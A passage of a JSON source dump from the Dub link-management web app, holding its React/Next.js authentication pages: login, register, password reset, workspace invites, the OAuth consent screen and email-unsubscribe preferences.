    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\n\nconst CUSTOMER_LOGOS: { name: string; src: string; className?: string }[] = [\n  {\n    name: \"Framer\",\n    src: \"https://assets.dub.co/companies/framer.svg\",\n    className: \"h-6\",\n  },\n  {\n    name: \"Granola\",\n    src: \"https://assets.dub.co/companies/granola.svg\",\n    className: \"h-5\",\n  },\n  { name: \"Buffer\", src: \"https://assets.dub.co/companies/buffer.svg\" },\n  {\n    name: \"Copper\",\n    src: \"https://assets.dub.co/companies/copper.svg\",\n    className: \"h-4\",\n  },\n  {\n    name: \"Perplexity\",\n    src: \"https://assets.dub.co/companies/perplexity.svg\",\n    className: \"h-5\",\n  },\n  { name: \"Wispr Flow\", src: \"https://assets.dub.co/companies/flow.svg\" },\n];\n\nexport function CustomerLogos() {\n  return (\n    <div className=\"relative z-10 mx-auto flex max-w-md flex-wrap items-center justify-center gap-x-14 gap-y-8 px-8 pb-12 pt-6 lg:px-10\">\n      {CUSTOMER_LOGOS.map((logo, index) => (\n        <img\n          key={logo.name}\n          src={logo.src}\n          alt={logo.name}\n          className={cn(\n            \"animate-fade-in-blur h-5 w-auto opacity-0 [animation-fill-mode:forwards]\",\n            logo.className,\n          )}\n          style={{ animationDelay: `${500 + index * 120}ms` }}\n        />\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/forgot-password/page.tsx",
    "content": "import { ForgotPasswordForm } from \"@/ui/auth/forgot-password-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { constructMetadata } from \"@dub/utils\";\n\nexport const metadata = constructMetadata({\n  title: `Forgot Password for ${process.env.NEXT_PUBLIC_APP_NAME}`,\n});\n\nexport default function ForgotPasswordPage() {\n  return (\n    <AuthLayout>\n      <div className=\"w-full max-w-sm\">\n        <h3 className=\"text-center text-xl font-semibold\">\n          Reset your password\n        </h3>\n\n        <div className=\"mt-8\">\n          <ForgotPasswordForm />\n        </div>\n      </div>\n    </AuthLayout>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/invites/[code]/page.tsx",
    "content": "import { onboardingStepCache } from \"@/lib/api/workspaces/onboarding-step-cache\";\nimport { getSession } from \"@/lib/auth\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { prisma } from \"@dub/prisma\";\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { LinkBroken, Users6 } from \"@dub/ui/icons\";\nimport { APP_NAME } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { Suspense } from \"react\";\n\nexport default async function InvitesPage(props: {\n  params: Promise<{\n    code: string;\n  }>;\n}) {\n  const params = await props.params;\n  return (\n    <div className=\"flex flex-col items-center justify-center gap-6 text-center\">\n      <Suspense\n        fallback={\n          <EmptyState\n            icon={LoadingSpinner}\n            title=\"Verifying Invite\"\n            description={`${APP_NAME} is verifying your invite link. This might take a few seconds...`}\n          />\n        }\n      >\n        <VerifyInvite code={params.code} />\n      </Suspense>\n    </div>\n  );\n}\n\nasync function VerifyInvite({ code }: { code: string }) {\n  const session = await getSession();\n\n  if (!session) {\n    redirect(\"/login\");\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      inviteCode: code,\n    },\n    select: {\n      id: true,\n      slug: true,\n      usersLimit: true,\n      users: {\n        where: {\n          userId: session.user.id,\n        },\n        select: {\n          role: true,\n        },\n      },\n      _count: {\n        select: {\n          users: {\n            where: {\n              user: {\n                isMachine: false,\n              },\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return (\n      <EmptyState\n        icon={LinkBroken}\n        title=\"Invalid Invite Link\"\n        description=\"The invite link you are trying to use is invalid. Please contact the workspace owner for more information.\"\n      />\n    );\n  }\n\n  // check if user is already in the workspace\n  if (workspace.users.length > 0) {\n    redirect(`/${workspace.slug}`);\n  }\n\n  if (workspace._count.users >= workspace.usersLimit) {\n    return (\n      <EmptyState\n        icon={Users6}\n        title=\"User Limit Reached\"\n        description=\"The workspace you are trying to join is currently full. Please contact the workspace owner for more information.\"\n      />\n    );\n  }\n\n  await prisma.projectUsers.create({\n    data: {\n      userId: session.user.id,\n      projectId: workspace.id,\n      notificationPreference: {\n        create: {}, // by default, users are opted in to all notifications\n      },\n    },\n  });\n\n  // Update default workspace\n  if (!session.user.defaultWorkspace) {\n    await prisma.user.update({\n      where: {\n        id: session.user.id,\n      },\n      data: {\n        defaultWorkspace: workspace.slug,\n      },\n    });\n  }\n\n  // Complete onboarding just in case\n  await onboardingStepCache.set({\n    userId: session.user.id,\n    step: \"completed\",\n  });\n\n  redirect(`/${workspace.slug}`);\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/layout.tsx",
    "content": "import Toolbar from \"@/ui/layout/toolbar/toolbar\";\nimport { Grid, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { SidePanel } from \"./side-panel\";\n\nexport default function AuthLayout({ children }: { children: ReactNode }) {\n  return (\n    <>\n      <Toolbar />\n\n      <div className=\"relative grid min-h-[100dvh] min-h-screen grid-cols-1 min-[900px]:grid-cols-[minmax(0,1fr)_440px] lg:grid-cols-[minmax(0,1fr)_595px]\">\n        {/* Left: Main auth content */}\n        <div className=\"relative\">\n          <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n            {/* Grid */}\n            <div\n              className={cn(\n                \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n                \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n              )}\n            >\n              <Grid\n                cellSize={60}\n                patternOffset={[0.75, 0]}\n                className=\"text-neutral-200\"\n              />\n            </div>\n\n            {/* Gradient */}\n            {[...Array(2)].map((_, idx) => (\n              <div\n                key={idx}\n                className={cn(\n                  \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n                  idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n                )}\n              >\n                {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n                  <div\n                    key={idx}\n                    className={cn(\n                      \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                      \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                    )}\n                  />\n                ))}\n              </div>\n            ))}\n          </div>\n\n          <div className=\"relative flex min-h-[100dvh] min-h-screen w-full justify-center\">\n            <a\n              href=\"https://dub.co\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"absolute left-1/2 top-4 z-10 -translate-x-1/2\"\n            >\n              <Wordmark className=\"h-8\" />\n            </a>\n            {children}\n          </div>\n        </div>\n\n        {/* Right: Side panel - hidden on mobile */}\n        <SidePanel />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/login/page.tsx",
    "content": "import { AuthAlternativeBanner } from \"@/ui/auth/auth-alternative-banner\";\nimport LoginForm from \"@/ui/auth/login/login-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { APP_DOMAIN, constructMetadata } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport const metadata = constructMetadata({\n  title: `Sign in to ${process.env.NEXT_PUBLIC_APP_NAME}`,\n  canonicalUrl: `${APP_DOMAIN}/login`,\n});\n\nexport default function LoginPage() {\n  return (\n    <AuthLayout showTerms=\"app\">\n      <div className=\"w-full max-w-sm\">\n        <h3 className=\"text-center text-xl font-semibold\">\n          Log in to your Dub account\n        </h3>\n        <div className=\"mt-8\">\n          <LoginForm />\n        </div>\n        <p className=\"mt-6 text-center text-sm font-medium text-neutral-500\">\n          Don't have an account?&nbsp;\n          <Link\n            href=\"register\"\n            className=\"font-semibold text-neutral-700 transition-colors hover:text-neutral-900\"\n          >\n            Sign up\n          </Link>\n        </p>\n\n        <div className=\"mt-12 w-full\">\n          <AuthAlternativeBanner\n            text=\"Looking for your Dub partner account?\"\n            cta=\"Log in at partners.dub.co\"\n            href=\"https://partners.dub.co/login\"\n          />\n        </div>\n      </div>\n    </AuthLayout>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/oauth/authorize/authorize-form.tsx",
    "content": "\"use client\";\n\nimport { consolidateScopes, getScopesForRole } from \"@/lib/api/tokens/scopes\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { authorizeRequestSchema } from \"@/lib/zod/schemas/oauth\";\nimport { WorkspaceSelector } from \"@/ui/workspaces/workspace-selector\";\nimport { Button } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\nexport const AuthorizeForm = ({\n  client_id,\n  redirect_uri,\n  response_type,\n  state,\n  scope,\n  code_challenge,\n  code_challenge_method,\n}: z.infer<typeof authorizeRequestSchema>) => {\n  const { data: session } = useSession();\n  const { workspaces } = useWorkspaces();\n  const [submitting, setSubmitting] = useState(false);\n  const [selectedWorkspace, setSelectedWorkspace] = useState<string | null>(\n    null,\n  );\n\n  // missing scopes for the user's role on the workspace selected\n  const [missingScopes, setMissingScopes] = useState<string[]>([]);\n\n  useEffect(() => {\n    setSelectedWorkspace(session?.user?.[\"defaultWorkspace\"] || null);\n  }, [session]);\n\n  // Check if the user has the required scopes for the workspace selected\n  useEffect(() => {\n    if (!selectedWorkspace) {\n      return;\n    }\n\n    const workspace = workspaces?.find(\n      (workspace) => workspace.slug === selectedWorkspace,\n    );\n\n    if (!workspace) {\n      return;\n    }\n\n    const userRole = workspace.users[0].role;\n    const scopesForRole = getScopesForRole(userRole);\n    const scopesMissing = consolidateScopes(scope).filter(\n      (scope) => !scopesForRole.includes(scope) && scope !== \"user.read\",\n    );\n\n    setMissingScopes(scopesMissing);\n  }, [selectedWorkspace]);\n\n  // Decline the request\n  const onDecline = () => {\n    const searchParams = new URLSearchParams({\n      error: \"access_denied\",\n      ...(state && { state }),\n    });\n\n    window.location.href = `${redirect_uri}?${searchParams.toString()}`;\n  };\n\n  // Approve the\n  const onAuthorize = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    if (!selectedWorkspace) {\n      toast.error(\"Please select a workspace to continue\");\n      return;\n    }\n\n    setSubmitting(true);\n\n    const workspaceId = workspaces?.find(\n      (workspace) => workspace.slug === selectedWorkspace,\n    )?.id;\n\n    const response = await fetch(\n      `/api/oauth/authorize?workspaceId=${workspaceId}`,\n      {\n        method: \"POST\",\n        body: JSON.stringify(Object.fromEntries(new FormData(e.currentTarget))),\n      },\n    );\n\n    const data = await response.json();\n\n    if (!response.ok) {\n      setSubmitting(false);\n      toast.error(data.error.message);\n      return;\n    }\n\n    window.location.href = data.callbackUrl;\n  };\n\n  return (\n    <form onSubmit={onAuthorize}>\n      <input type=\"hidden\" name=\"client_id\" value={client_id} />\n      <input type=\"hidden\" name=\"redirect_uri\" value={redirect_uri} />\n      <input type=\"hidden\" name=\"response_type\" value={response_type} />\n      <input type=\"hidden\" name=\"scope\" value={scope.join(\",\")} />\n      {state && <input type=\"hidden\" name=\"state\" value={state} />}\n      {code_challenge && (\n        <input type=\"hidden\" name=\"code_challenge\" value={code_challenge} />\n      )}\n      {code_challenge_method && (\n        <input\n          type=\"hidden\"\n          name=\"code_challenge_method\"\n          value={code_challenge_method}\n        />\n      )}\n      <p className=\"text-sm text-neutral-500\">\n        Select a workspace to grant API access to\n      </p>\n      <div className=\"max-w-md py-2\">\n        <WorkspaceSelector\n          selectedWorkspace={selectedWorkspace || \"\"}\n          setSelectedWorkspace={setSelectedWorkspace}\n        />\n      </div>\n      <div className=\"mt-4 flex justify-between gap-4\">\n        <Button\n          text=\"Decline\"\n          type=\"button\"\n          onClick={onDecline}\n          variant=\"secondary\"\n          disabled={submitting}\n        />\n        <Button\n          text=\"Authorize\"\n          type=\"submit\"\n          loading={submitting}\n          disabled={!selectedWorkspace}\n          disabledTooltip={\n            !selectedWorkspace\n              ? \"Please select a workspace to continue\"\n              : missingScopes.length > 0\n                ? \"You don't have the permission to install this integration\"\n                : undefined\n          }\n        />\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/oauth/authorize/loading.tsx",
    "content": "import { Logo } from \"@dub/ui\";\nimport { ArrowLeftRight } from \"lucide-react\";\n\nexport default function AuthorizeLoading() {\n  return (\n    <div className=\"relative z-10 m-auto w-full max-w-md border-y border-neutral-200 sm:rounded-2xl sm:border sm:shadow-xl\">\n      <div className=\"flex flex-col items-center justify-center gap-3 border-b border-neutral-200 bg-white px-4 py-6 pt-8 text-center sm:rounded-t-2xl sm:px-16\">\n        <div className=\"flex items-center gap-3\">\n          <div className=\"size-12 rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100\" />\n          <ArrowLeftRight className=\"size-5 text-neutral-300\" />\n          <Logo className=\"size-12 text-neutral-700\" />\n        </div>\n        <div className=\"flex w-full flex-col items-center gap-2\">\n          <div className=\"h-5 w-3/4 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-5 w-1/3 animate-pulse rounded bg-neutral-200\" />\n        </div>\n        <div className=\"h-4 w-1/3 animate-pulse rounded bg-neutral-200\" />\n      </div>\n      <div className=\"flex flex-col space-y-3 bg-white px-2 py-6 sm:px-10\">\n        <div className=\"h-4 w-1/3 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-full animate-pulse rounded bg-neutral-200\" />\n      </div>\n      <div className=\"flex flex-col space-y-2 border-t border-neutral-200 bg-white px-2 py-6 sm:rounded-b-2xl sm:px-10\">\n        <div className=\"h-4 w-1/2 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-10 w-full animate-pulse rounded bg-neutral-200\" />\n        <div className=\"flex gap-4\">\n          <div className=\"h-10 w-1/2 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-10 w-1/2 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/oauth/authorize/page.tsx",
    "content": "import { validateAuthorizeRequest } from \"@/lib/api/oauth/actions\";\nimport { getSession } from \"@/lib/auth\";\nimport { authorizeRequestSchema } from \"@/lib/zod/schemas/oauth\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { BlurImage, Logo } from \"@dub/ui\";\nimport { CircleWarning, CubeSettings } from \"@dub/ui/icons\";\nimport { constructMetadata } from \"@dub/utils\";\nimport { ArrowLeftRight } from \"lucide-react\";\nimport { redirect } from \"next/navigation\";\nimport { Suspense } from \"react\";\nimport * as z from \"zod/v4\";\nimport { AuthorizeForm } from \"./authorize-form\";\nimport { ScopesRequested } from \"./scopes-requested\";\n\nexport const metadata = constructMetadata({\n  title: \"Authorize API access | Dub\",\n  noIndex: true,\n});\n\n// OAuth app consent page\nexport default async function Authorize(props: {\n  searchParams?: Promise<z.infer<typeof authorizeRequestSchema>>;\n}) {\n  const searchParams = await props.searchParams;\n  const session = await getSession();\n\n  if (!session) {\n    redirect(\"/login\");\n  }\n\n  const { error, integration, requestParams } =\n    await validateAuthorizeRequest(searchParams);\n\n  if (error || !integration) {\n    return (\n      <EmptyState\n        icon={CubeSettings}\n        title=\"Invalid OAuth Request\"\n        description={error}\n      />\n    );\n  }\n\n  return (\n    <div className=\"relative z-10 m-auto w-full max-w-md border-y border-neutral-200 sm:rounded-2xl sm:border sm:shadow-xl\">\n      <div className=\"flex flex-col items-center justify-center gap-3 border-b border-neutral-200 bg-white px-4 py-6 pt-8 text-center sm:rounded-t-2xl sm:px-16\">\n        <div className=\"flex items-center gap-3\">\n          <a href={integration.website} target=\"_blank\" rel=\"noreferrer\">\n            {integration.logo ? (\n              <BlurImage\n                src={integration.logo}\n                alt={`Logo for ${integration.name}`}\n                className=\"size-12 rounded-full border border-neutral-200\"\n                width={20}\n                height={20}\n              />\n            ) : (\n              <Logo className=\"size-12\" />\n            )}\n          </a>\n          <ArrowLeftRight className=\"size-5 text-neutral-500\" />\n          <a href=\"https://dub.co\" target=\"_blank\" rel=\"noreferrer\">\n            <Logo className=\"size-12\" />\n          </a>\n        </div>\n\n        <p className=\"text-md\">\n          <span className=\"font-bold\">{integration.name}</span> is requesting\n          API access to a workspace on Dub.\n        </p>\n        <span className=\"text-xs text-neutral-500\">\n          Built by{\" \"}\n          <a\n            href={integration.website}\n            target=\"_blank\"\n            rel=\"noreferrer\"\n            className=\"underline\"\n          >\n            {integration.developer}\n          </a>\n        </span>\n\n        {!integration.verified && (\n          <div className=\"flex items-center gap-2 rounded-md bg-yellow-50 p-2 text-sm text-yellow-700\">\n            <CircleWarning className=\"size-4\" />\n            <span>Dub hasn't verified this app</span>\n          </div>\n        )}\n      </div>\n      <div className=\"flex flex-col space-y-3 bg-white px-2 py-6 sm:px-10\">\n        <ScopesRequested scopes={requestParams.scope} />\n      </div>\n      <div className=\"flex flex-col space-y-2 border-t border-neutral-200 bg-white px-2 py-6 sm:rounded-b-2xl sm:px-10\">\n        <Suspense>\n          <AuthorizeForm {...requestParams} />\n        </Suspense>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/oauth/authorize/scopes-requested.tsx",
    "content": "\"use client\";\n\nimport { OAUTH_SCOPE_DESCRIPTIONS } from \"@/lib/api/oauth/constants\";\nimport { consolidateScopes } from \"@/lib/api/tokens/scopes\";\nimport { Check } from \"lucide-react\";\n\ninterface ScopesProps {\n  scopes: string[];\n}\n\nexport const ScopesRequested = ({ scopes }: ScopesProps) => {\n  // Add default scopes if not present\n  if (!scopes.includes(\"user.read\")) {\n    scopes.push(\"user.read\");\n  }\n\n  const scopeWithDescriptions = consolidateScopes(scopes).map((scope) => {\n    return {\n      scope,\n      description: OAUTH_SCOPE_DESCRIPTIONS[scope],\n    };\n  });\n\n  scopeWithDescriptions.forEach((scope) => {\n    scope.description = scope.description.replace(\n      \"Write\",\n      \"<strong className='font-medium'>Write</strong>\",\n    );\n\n    scope.description = scope.description.replace(\n      \"Read\",\n      \"<strong className='font-medium'>Read</strong>\",\n    );\n  });\n\n  return (\n    <>\n      <span className=\"text-neutral-600\">Grant permissions:</span>\n      <ul className=\"text-md space-y-1\">\n        {scopeWithDescriptions.map((scope) => {\n          return (\n            <li className=\"flex items-center gap-2\" key={scope.scope}>\n              <Check className=\"h-4 w-4 text-green-500\" />\n              <div dangerouslySetInnerHTML={{ __html: scope.description }} />\n            </li>\n          );\n        })}\n      </ul>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/register/page-client.tsx",
    "content": "\"use client\";\n\nimport { AuthAlternativeBanner } from \"@/ui/auth/auth-alternative-banner\";\nimport {\n  RegisterProvider,\n  useRegisterContext,\n} from \"@/ui/auth/register/context\";\nimport { SignUpForm } from \"@/ui/auth/register/signup-form\";\nimport { VerifyEmailForm } from \"@/ui/auth/register/verify-email-form\";\nimport { truncate } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport default function RegisterPageClient() {\n  return (\n    <RegisterProvider>\n      <RegisterFlow />\n    </RegisterProvider>\n  );\n}\n\nfunction SignUp() {\n  return (\n    <>\n      <div className=\"w-full max-w-sm\">\n        <h3 className=\"text-center text-xl font-semibold\">\n          Create your Dub account\n        </h3>\n        <div className=\"mt-8\">\n          <SignUpForm />\n        </div>\n        <p className=\"mt-6 text-center text-sm font-medium text-neutral-500\">\n          Already have an account?&nbsp;\n          <Link\n            href=\"/login\"\n            className=\"font-semibold text-neutral-700 transition-colors hover:text-neutral-900\"\n          >\n            Log in\n          </Link>\n        </p>\n\n        <div className=\"mt-12 w-full\">\n          <AuthAlternativeBanner\n            text=\"Looking for your Dub partner account?\"\n            cta=\"Sign up at partners.dub.co\"\n            href=\"https://partners.dub.co/register\"\n          />\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction Verify() {\n  const { email } = useRegisterContext();\n\n  return (\n    <>\n      <div className=\"w-full max-w-sm\">\n        <div className=\"flex flex-col items-center gap-1 text-center\">\n          <h3 className=\"text-center text-xl font-semibold\">\n            Verify your email address\n          </h3>\n          <p className=\"text-base font-medium text-neutral-500\">\n            Enter the six digit verification code sent to{\" \"}\n            <strong className=\"font-semibold text-neutral-600\" title={email}>\n              {truncate(email, 30)}\n            </strong>\n          </p>\n        </div>\n        <div className=\"mt-12\">\n          <VerifyEmailForm />\n        </div>\n      </div>\n    </>\n  );\n}\n\nconst RegisterFlow = () => {\n  const { step } = useRegisterContext();\n\n  if (step === \"signup\") return <SignUp />;\n  if (step === \"verify\") return <Verify />;\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/register/page.tsx",
    "content": "import { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { APP_DOMAIN, constructMetadata } from \"@dub/utils\";\nimport RegisterPageClient from \"./page-client\";\n\nexport const metadata = constructMetadata({\n  title: `Create your ${process.env.NEXT_PUBLIC_APP_NAME} account`,\n  canonicalUrl: `${APP_DOMAIN}/register`,\n});\n\nexport default function RegisterPage() {\n  return (\n    <AuthLayout showTerms=\"app\">\n      <RegisterPageClient />\n    </AuthLayout>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/side-panel.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { CustomerLogos } from \"./customer-logos\";\n\nexport function SidePanel() {\n  return (\n    <div className=\"relative hidden h-full flex-col justify-between overflow-hidden border-l border-black/5 bg-neutral-50 min-[900px]:flex\">\n      {/* Gradient at bottom */}\n      {[...Array(2)].map((_, idx) => (\n        <div\n          key={idx}\n          className={cn(\n            \"absolute bottom-0 left-1/2 size-[80px] -translate-x-1/2 translate-y-1/2 scale-x-[1.6]\",\n            idx === 0 ? \"mix-blend-overlay\" : \"opacity-15\",\n          )}\n        >\n          {[...Array(idx === 0 ? 2 : 1)].map((_, innerIdx) => (\n            <div\n              key={innerIdx}\n              className={cn(\n                \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n              )}\n            />\n          ))}\n        </div>\n      ))}\n\n      {/* Testimonial section - vertically centered */}\n      <div className=\"relative flex grow items-center justify-center p-8 lg:p-14\">\n        <div className=\"flex flex-col gap-6\">\n          <div className=\"relative overflow-hidden rounded-xl border border-neutral-900/10\">\n            <img\n              src=\"https://assets.dub.co/cms/framer-thumbnail.png\"\n              alt=\"Framer team\"\n              className=\"aspect-[16/12] w-full object-cover\"\n            />\n            <div className=\"pointer-events-none absolute inset-x-0 top-0 h-24 bg-gradient-to-b from-neutral-900 to-transparent opacity-30\" />\n            <img\n              src=\"https://assets.dub.co/companies/framer.svg\"\n              alt=\"Framer\"\n              className=\"absolute left-6 top-6 h-8 w-auto brightness-0 invert\"\n            />\n          </div>\n\n          <p className=\"text-content-default max-w-[370px] text-pretty text-xl font-medium\">\n            Learn how Framer manages $500K+ in monthly affiliate payouts with\n            Dub\n          </p>\n\n          <Link\n            href=\"https://dub.co/customers/framer\"\n            target=\"_blank\"\n            className=\"text-content-emphasis flex h-8 w-fit items-center rounded-lg bg-black/5 px-3 text-sm font-medium transition-[transform,background-color] duration-75 hover:bg-black/10 active:scale-[0.98]\"\n          >\n            Read more\n          </Link>\n        </div>\n      </div>\n\n      <CustomerLogos />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/unsubscribe/[token]/page.tsx",
    "content": "import { verifyUnsubscribeToken } from \"@/lib/email/unsubscribe-token\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { LinkBroken } from \"@dub/ui/icons\";\nimport { constructMetadata } from \"@dub/utils\";\nimport { UnsubscribeForm } from \"./unsubscribe-form\";\n\nexport const metadata = constructMetadata({\n  title: \"Email Preferences – Dub\",\n  description: \"Manage your email subscription preferences on Dub\",\n  noIndex: true,\n});\n\nexport default async function UnsubscribePage(props: {\n  params: Promise<{ token: string }>;\n}) {\n  const { token } = await props.params;\n\n  const email = verifyUnsubscribeToken(token);\n\n  if (!email) {\n    return (\n      <EmptyState\n        icon={LinkBroken}\n        title=\"Invalid Unsubscribe Link\"\n        description=\"This unsubscribe link is invalid or has expired. Please use the link from a recent email to manage your preferences.\"\n      />\n    );\n  }\n\n  return (\n    <div className=\"m-auto w-full max-w-lg overflow-hidden border border-neutral-200 shadow-xl sm:rounded-2xl\">\n      <UnsubscribeForm email={email} token={token} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/unsubscribe/[token]/unsubscribe-form.tsx",
    "content": "\"use client\";\n\nimport {\n  NOTIFICATION_PREFERENCE_LABELS,\n  NOTIFICATION_PREFERENCE_TYPES,\n  NotificationPreferenceType,\n} from \"@/lib/constants/notification-preferences\";\nimport { Button, Switch } from \"@dub/ui\";\nimport { DubLinksIcon, DubPartnersIcon, UserPlus } from \"@dub/ui/icons\";\nimport { fetcher } from \"@dub/utils\";\nimport { useCallback, useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\n\ntype PreferenceState = Record<NotificationPreferenceType, boolean>;\n\nconst NOTIFICATION_ICONS: Record<\n  NotificationPreferenceType,\n  React.ComponentType<{ className?: string }>\n> = {\n  dubLinks: DubLinksIcon,\n  dubPartners: DubPartnersIcon,\n  partnerAccount: UserPlus,\n};\n\nexport function UnsubscribeForm({\n  email,\n  token,\n}: {\n  email: string;\n  token: string;\n}) {\n  const [preferences, setPreferences] = useState<PreferenceState>(() => {\n    const initial: Partial<PreferenceState> = {};\n    NOTIFICATION_PREFERENCE_TYPES.forEach((type) => {\n      initial[type] = true;\n    });\n    return initial as PreferenceState;\n  });\n\n  const [saving, setSaving] = useState(false);\n  const [originalPreferences, setOriginalPreferences] =\n    useState<PreferenceState | null>(null);\n\n  // Fetch initial preferences from API\n  const {\n    data: fetchedPreferences,\n    error,\n    isLoading: loading,\n  } = useSWRImmutable<PreferenceState>(\n    `/api/user/notification-preferences?token=${encodeURIComponent(token)}`,\n    fetcher,\n  );\n\n  // Sync fetched preferences to state\n  useEffect(() => {\n    if (fetchedPreferences) {\n      setPreferences(fetchedPreferences);\n      setOriginalPreferences(fetchedPreferences);\n    }\n  }, [fetchedPreferences]);\n\n  // Handle errors\n  useEffect(() => {\n    if (error) {\n      toast.error(\n        error instanceof Error ? error.message : \"Failed to load preferences\",\n      );\n    }\n  }, [error]);\n\n  // Check if form is dirty (has changes)\n  const isDirty = useMemo(() => {\n    if (!originalPreferences) return false;\n    return NOTIFICATION_PREFERENCE_TYPES.some(\n      (type) => preferences[type] !== originalPreferences[type],\n    );\n  }, [preferences, originalPreferences]);\n\n  const handleToggle = useCallback(\n    (type: NotificationPreferenceType) => (checked: boolean) => {\n      setPreferences((prev) => ({\n        ...prev,\n        [type]: checked,\n      }));\n    },\n    [],\n  );\n\n  const handleSave = useCallback(async () => {\n    setSaving(true);\n\n    try {\n      const res = await fetch(\"/api/user/notification-preferences\", {\n        method: \"POST\",\n        headers: { \"Content-Type\": \"application/json\" },\n        body: JSON.stringify({ token, preferences }),\n      });\n\n      if (!res.ok) {\n        const data = await res.json();\n        throw new Error(data.error || \"Failed to save preferences\");\n      }\n\n      // Update original preferences after successful save\n      setOriginalPreferences(preferences);\n      toast.success(\"Your preferences have been saved!\");\n    } catch (err) {\n      toast.error(err instanceof Error ? err.message : \"Something went wrong\");\n    } finally {\n      setSaving(false);\n    }\n  }, [token, preferences]);\n\n  const handleUnsubscribeAll = useCallback(async () => {\n    const confirmed = window.confirm(\n      \"Are you sure you want to unsubscribe from all emails?\",\n    );\n    if (!confirmed) {\n      return;\n    }\n\n    setSaving(true);\n\n    const allOff: PreferenceState = {} as PreferenceState;\n    NOTIFICATION_PREFERENCE_TYPES.forEach((type) => {\n      allOff[type] = false;\n    });\n\n    try {\n      const res = await fetch(\"/api/user/notification-preferences\", {\n        method: \"POST\",\n        headers: { \"Content-Type\": \"application/json\" },\n        body: JSON.stringify({ token, preferences: allOff }),\n      });\n\n      if (!res.ok) {\n        const data = await res.json();\n        throw new Error(data.error || \"Failed to unsubscribe\");\n      }\n\n      setPreferences(allOff);\n      setOriginalPreferences(allOff);\n      toast.success(\"You have been unsubscribed from all emails!\");\n    } catch (err) {\n      toast.error(err instanceof Error ? err.message : \"Something went wrong\");\n    } finally {\n      setSaving(false);\n    }\n  }, [token]);\n\n  return (\n    <>\n      <div className=\"flex flex-col items-center justify-center gap-3 border-b border-neutral-200 bg-white px-4 py-6 pt-8 text-center sm:rounded-t-2xl sm:px-6 md:px-16\">\n        <h2 className=\"text-lg font-semibold text-neutral-900\">\n          Email Preferences\n        </h2>\n        <p className=\"text-sm text-neutral-500\">\n          Manage your email subscriptions for{\" \"}\n          <span className=\"font-medium text-neutral-700\">{email}</span>\n        </p>\n      </div>\n      <div className=\"flex flex-col space-y-3 bg-white px-4 py-6 sm:px-6 md:px-10\">\n        <div className=\"divide-y 